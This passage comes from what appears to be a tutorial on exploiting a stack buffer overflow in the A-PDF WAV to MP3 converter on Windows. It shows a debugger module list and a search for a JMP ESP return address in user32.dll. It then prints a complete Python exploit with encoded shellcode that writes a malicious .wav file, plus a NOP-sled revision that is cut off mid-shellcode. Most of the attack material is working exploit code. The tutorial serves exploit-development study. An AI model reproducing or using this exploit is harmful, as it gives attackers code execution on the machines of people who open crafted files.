70FA0000   00058000   70FA15C0   tiptsf     6.1.7600.16385 (  C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
713C0000   0002E000   713C1BBA   SHDOCVW    6.1.7600.16385 (  C:\Windows\system32\SHDOCVW.dll
71480000   0004E000   714B7FAE   actxprxy   6.1.7600.16385 (  C:\Windows\system32\actxprxy.dll
715B0000   0006F000   715B1E41   ntshrui    6.1.7600.16385 (  C:\Windows\system32\ntshrui.dll
71620000   0000B000   71621200   CSCAPI     6.1.7600.16385 (  C:\Windows\system32\CSCAPI.dll
71630000   00009000   716311D0   CSCDLL     6.1.7600.16385 (  C:\Windows\System32\CSCDLL.dll
71640000   0006A000   71641B06   cscui      6.1.7600.16385 (  C:\Windows\System32\cscui.dll
716B0000   00031000   716BA8B6   EhStorSh   6.1.7600.16385 (  C:\Windows\system32\EhStorShell.dll
71880000   0016F000   7188D5F6   explorer   6.1.7600.16385 (  C:\Windows\system32\explorerframe.dll
72340000   00A7E000   72347761   ieframe    8.00.7600.16385   C:\Windows\system32\ieframe.DLL
73410000   0000A000   73414D20   slc        6.1.7600.16385 (  C:\Windows\system32\slc.dll
73440000   00014000   73441DA9   ATL        3.05.2284         C:\Windows\System32\ATL.DLL
736C0000   00021000   736C145E   ntmarta    6.1.7600.16385 (  C:\Windows\system32\ntmarta.dll
73710000   00007000   737110C0   AVRT       6.1.7600.16385 (  C:\Windows\System32\AVRT.dll
737A0000   00025000   737A2B71   POWRPROF   6.1.7600.16385 (  C:\Windows\system32\POWRPROF.dll
737D0000   0003C000   737D3089   OLEACC     7.0.0.0 (win7_rt  C:\Windows\system32\OLEACC.dll
73900000   0000F000   7390125E   samcli     6.1.7600.16385 (  C:\Windows\system32\samcli.dll
73920000   00009000   739215A6   netutils   6.1.7600.16385 (  C:\Windows\system32\netutils.dll
73970000   00007000   73971120   wsock32    6.1.7600.16385 (  C:\Windows\system32\wsock32.dll
73A60000   000FB000   73A71AAE   WindowsC   6.1.7600.16385 (  C:\Windows\system32\WindowsCodecs.dll
73B90000   00013000   73B91D3F   dwmapi     6.1.7600.16385 (  C:\Windows\system32\dwmapi.dll
73BB0000   00039000   73BBE1E6   MMDevApi   6.1.7600.16385 (  C:\Windows\System32\MMDevApi.dll
73C40000   0002F000   73C4C7A2   DUser      6.1.7600.16385 (  C:\Windows\system32\DUser.dll
73C70000   000B2000   73CC16FD   DUI70      6.1.7600.16385 (  C:\Windows\system32\DUI70.dll
73EC0000   00040000   73ECA2DD   uxtheme    6.1.7600.16385 (  C:\Windows\system32\uxtheme.dll
73F00000   000F5000   73F0ADAE   propsys    7.00.7600.16385   C:\Windows\system32\propsys.dll
74000000   00012000   74004795   SAMLIB     6.1.7600.16385 (  C:\Windows\system32\SAMLIB.dll
74040000   0019E000   74073731   comctl32   6.10 (win7_rtm.0  C:\Windows\WinSxS\x86_microsoft.windows.common-
controls_6595b64144ccf1df_6.0.7600.16385_none_421189da2b7fabfc\comctl32.dll
745B0000   00009000   745B1220   version    6.1.7600.16385 (  C:\Windows\system32\version.dll
748D0000   0003B000   748D128D   rsaenh     6.1.7600.16385 (  C:\Windows\system32\rsaenh.dll
74B30000   00016000   74B32DC3   CRYPTSP    6.1.7600.16385 (  C:\Windows\system32\CRYPTSP.dll
74F00000   00019000   74F01319   srvcli     6.1.7600.16385 (  C:\Windows\system32\srvcli.dll
74F70000   00008000   74F710E9   Secur32    6.1.7600.16385 (  C:\Windows\System32\Secur32.dll
74F90000   0001A000   74F92CCD   SSPICLI    6.1.7600.16385 (  C:\Windows\System32\SSPICLI.DLL
74FB0000   0004B000   74FB2B6C   apphelp    6.1.7600.16385 (  C:\Windows\system32\apphelp.dll
75000000   0000C000   750010E1   CRYPTBAS   6.1.7600.16385 (  C:\Windows\system32\CRYPTBASE.dll
750A0000   0000E000   750A1235   RpcRtRem   6.1.7600.16385 (  C:\Windows\system32\RpcRtRemote.dll
750B0000   0000B000   750B1992   profapi    6.1.7600.16385 (  C:\Windows\system32\profapi.dll
75160000   00012000   75161441   DEVOBJ     6.1.7600.16385 (  C:\Windows\system32\DEVOBJ.dll
752A0000   00027000   752A58B9   CFGMGR32   6.1.7600.16385 (  C:\Windows\system32\CFGMGR32.dll
75360000   0004A000   75367A9D   KERNELBA   6.1.7600.16385 (  C:\Windows\system32\KERNELBASE.dll
753B0000   0000A000   753B136C   LPK        6.1.7600.16385 (  C:\Windows\system32\LPK.dll
753C0000   000D4000   754110E5   kernel32   6.1.7600.16385 (  C:\Windows\system32\kernel32.dll
754A0000   00045000   754A11E1   WLDAP32    6.1.7600.16385 (  C:\Windows\system32\WLDAP32.dll
754F0000   000CC000   754F168B   MSCTF      6.1.7600.16385 (  C:\Windows\system32\MSCTF.dll
755C0000   0007B000   755C1AEE   comdlg32   6.1.7600.16385 (  C:\Windows\system32\comdlg32.dll
75640000   0009D000   756747D7   USP10      1.0626.7600.1638  C:\Windows\system32\USP10.dll
756E0000   0008F000   756E3FB1   oleaut32   6.1.7600.16385    C:\Windows\system32\oleaut32.dll
75770000   00019000   75774975   sechost    6.1.7600.16385 (  C:\Windows\SYSTEM32\sechost.dll
757F0000   00035000   757F145D   WS2_32     6.1.7600.16385 (  C:\Windows\system32\WS2_32.dll
75830000   00083000   758323D2   CLBCatQ    2001.12.8530.163  C:\Windows\system32\CLBCatQ.DLL
759C0000   000AC000   759CA472   msvcrt     7.0.7600.16385 (  C:\Windows\system32\msvcrt.dll
75AA0000   0019D000   75AA17E7   SETUPAPI   6.1.7600.16385 (  C:\Windows\system32\SETUPAPI.dll
75C40000   001F9000   75C4224D   iertutil   8.00.7600.16385   C:\Windows\system32\iertutil.dll
75E40000   00C49000   75EBD49A   shell32    6.1.7600.16385 (  C:\Windows\system32\shell32.dll
76A90000   000A1000   76ACAFD4   RPCRT4     6.1.7600.16385 (  C:\Windows\system32\RPCRT4.dll
76B40000   00057000   76B5A24A   SHLWAPI    6.1.7600.16385 (  C:\Windows\system32\SHLWAPI.dll
76BA0000   000C9000   76BBF7C9   user32     6.1.7600.16385 (  C:\Windows\system32\user32.dll
76C70000   0004E000   76C7EC49   GDI32      6.1.7600.16385 (  C:\Windows\system32\GDI32.dll
76E00000   0015C000   76E55D13   ole32      6.1.7600.16385 (  C:\Windows\system32\ole32.dll
76F60000   0013C000              ntdll      6.1.7600.16385 (  C:\Windows\SYSTEM32\ntdll.dll
770B0000   0001F000   770B1355   IMM32      6.1.7600.16385 (  C:\Windows\system32\IMM32.DLL
770D0000   00005000   770D1438   PSAPI      6.1.7600.16385 (  C:\Windows\system32\PSAPI.DLL
770E0000   00006000   770E1782   NSI        6.1.7600.16385 (  C:\Windows\system32\NSI.dll
770F0000   000A0000   77112DD9   advapi32   6.1.7600.16385 (  C:\Windows\system32\advapi32.dll</pre>
<p>So we look for the opcode jmp esp in the dll:</p>
<pre>
76BA0000   000C9000   76BBF7C9   user32     6.1.7600.16385 (  C:\Windows\system32\user32.dll</pre>
<p>Double click on dll and then right click we go to &#8220;Search for -&gt; All commands -&gt; jmp esp&#8221;:</p>
<pre>Found commands
Address    Disassembly                               Comment
76BA1000   CMP DWORD PTR DS:[EDI+243276F8],ECX       (Initial CPU selection)
76BC6D53   JMP ESP</pre>
<p>So 76BC6D53 is the address with the instruction jmp esp inside user32.dll &#8220;\x53\x6d\xbc\x76&#8243; in little endian. However, to make the exploit more reliable as possible is good practice to use dll or exe which are loaded from the program, such as &#8220;wavtomp3.exe”.<br />
Now we can add shellcode to launch calc.exe:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:	Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:		August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:	http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:	Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
<span style="color: #808080; font-style: italic;"># It Doesn't Work</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4128</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
<span style="color: #808080; font-style: italic;"># 76bc6d53</span>
eip = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>bc<span style="color: #000099; font-weight: bold;">\x</span>76&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>da<span style="color: #000099; font-weight: bold;">\x</span>b1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>15&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>ad<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>d1<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>c5<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>e2<span style="color: #000099; font-weight: bold;">\x</span>e0<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>cd&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0f<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>df<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>99&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>0c<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>e9<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>92<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>dc<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>28&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>07<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>b5<span style="color: #000099; font-weight: bold;">\x</span>98<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>4d<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>fa&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>f6<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>9f<span style="color: #000099; font-weight: bold;">\x</span>86<span style="color: #000099; font-weight: bold;">\x</span>3e<span style="color: #000099; font-weight: bold;">\x</span>2a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>94<span style="color: #000099; font-weight: bold;">\x</span>ab<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>a0<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>88&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>af<span style="color: #000099; font-weight: bold;">\x</span>13<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>c2<span style="color: #000099; font-weight: bold;">\x</span>ce<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>ef<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>cb<span style="color: #000099; font-weight: bold;">\x</span>1a&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>ec<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>95<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>04<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>8f<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>81<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>15<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>9b<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>84<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>09<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>86&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>97<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>a6<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>ac<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>2a<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>60&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>c8<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>9e&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
sploit = <span style="color: black;">&#40;</span>buff + eip + shellcode<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">try</span>:
    f1 = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Dr_IDEs5.wav&quot;</span>,<span style="color: #483d8b;">&quot;w&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>	<span style="color: #808080; font-style: italic;">#No file checking, any file extension works... (.xyz .foo .abc)</span>
    f1.<span style="color: black;">write</span><span style="color: black;">&#40;</span>sploit<span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    f1.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">'[*] Success. Load File.'</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">except</span>:
    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Error, could not write the file.&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span></pre></div></div>

<p>Perfect! We have finished. This is what you&#8217;re thinking &#8230; but actually  the exploit still not work. Analysing with OllyDbg we note that only the 17th character of the shellcode is present in the EIP:</p>
<pre>034CFE90  97 FE 4C 03 1B 00 DA 03   —þL.Ú
034CFE98  00 00 00 00 00 00 FF FF   ......ÿÿ
034CFEA0  <strong>83 EB FC 31 43 0D 03 43</strong>   ƒëü1C.C
034CFEA8  <strong>5A 58 0D B7 8C 15 EE 48</strong>   ZX.·ŒîH
034CFEB0  <strong>4C 46 66 AD 7D 54 1C A5</strong>   LFf­}T¥
034CFEB8  <strong>2F 68 56 EB C3 03 3A 18</strong>   /hVëÃ:</pre>
<p>So nops &#8220;\ x90&#8243; are necessary now in order to switch the code of 16 bytes  and to run the shellcode from the beginning:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># http://www.exploit-db.com/exploits/14681/</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#################################################################################</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># Title:	A-PDF WAV to MP3 v1.0.0 Universal Local SEH Exploit</span>
<span style="color: #808080; font-style: italic;"># Exloit By:	Dr_IDE</span>
<span style="color: #808080; font-style: italic;"># Tested On:    XPSP3</span>
<span style="color: #808080; font-style: italic;"># Date:		August 18, 2010</span>
<span style="color: #808080; font-style: italic;"># Download: 	http://www.brothersoft.com/a-pdf-wav-to-mp3-converter-394393.html</span>
<span style="color: #808080; font-style: italic;"># Reference:	http://www.exploit-db.com/exploits/14676/</span>
<span style="color: #808080; font-style: italic;"># Usage:	Import File, Select It, Click Play, Calc.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;"># EDB Notes:</span>
<span style="color: #808080; font-style: italic;"># This exploit uses SEH to gain code execution, while EDB 14676 uses a direct</span>
<span style="color: #808080; font-style: italic;"># EIP overwrite which is operating system specific.</span>
<span style="color: #808080; font-style: italic;">#</span>
<span style="color: #808080; font-style: italic;">#################################################################################</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># windows/exec - 303 bytes  CMD=calc.exe Encoder - alpha/upper EXITFUNC - SEH</span>
<span style="color: #808080; font-style: italic;"># It Doesn't Work</span>
&nbsp;
buff = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">4128</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
<span style="color: #808080; font-style: italic;"># 76bc6d53</span>
eip = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>bc<span style="color: #000099; font-weight: bold;">\x</span>76&quot;</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
nops = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>90&quot;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">16</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">;</span>
shellcode = <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>f8<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>da<span style="color: #000099; font-weight: bold;">\x</span>b1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>5b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>0d<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>8c<span style="color: #000099; font-weight: bold;">\x</span>15&quot;</span>
<span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ee<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>46<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>ad<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>a5<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>c3&quot;</span>
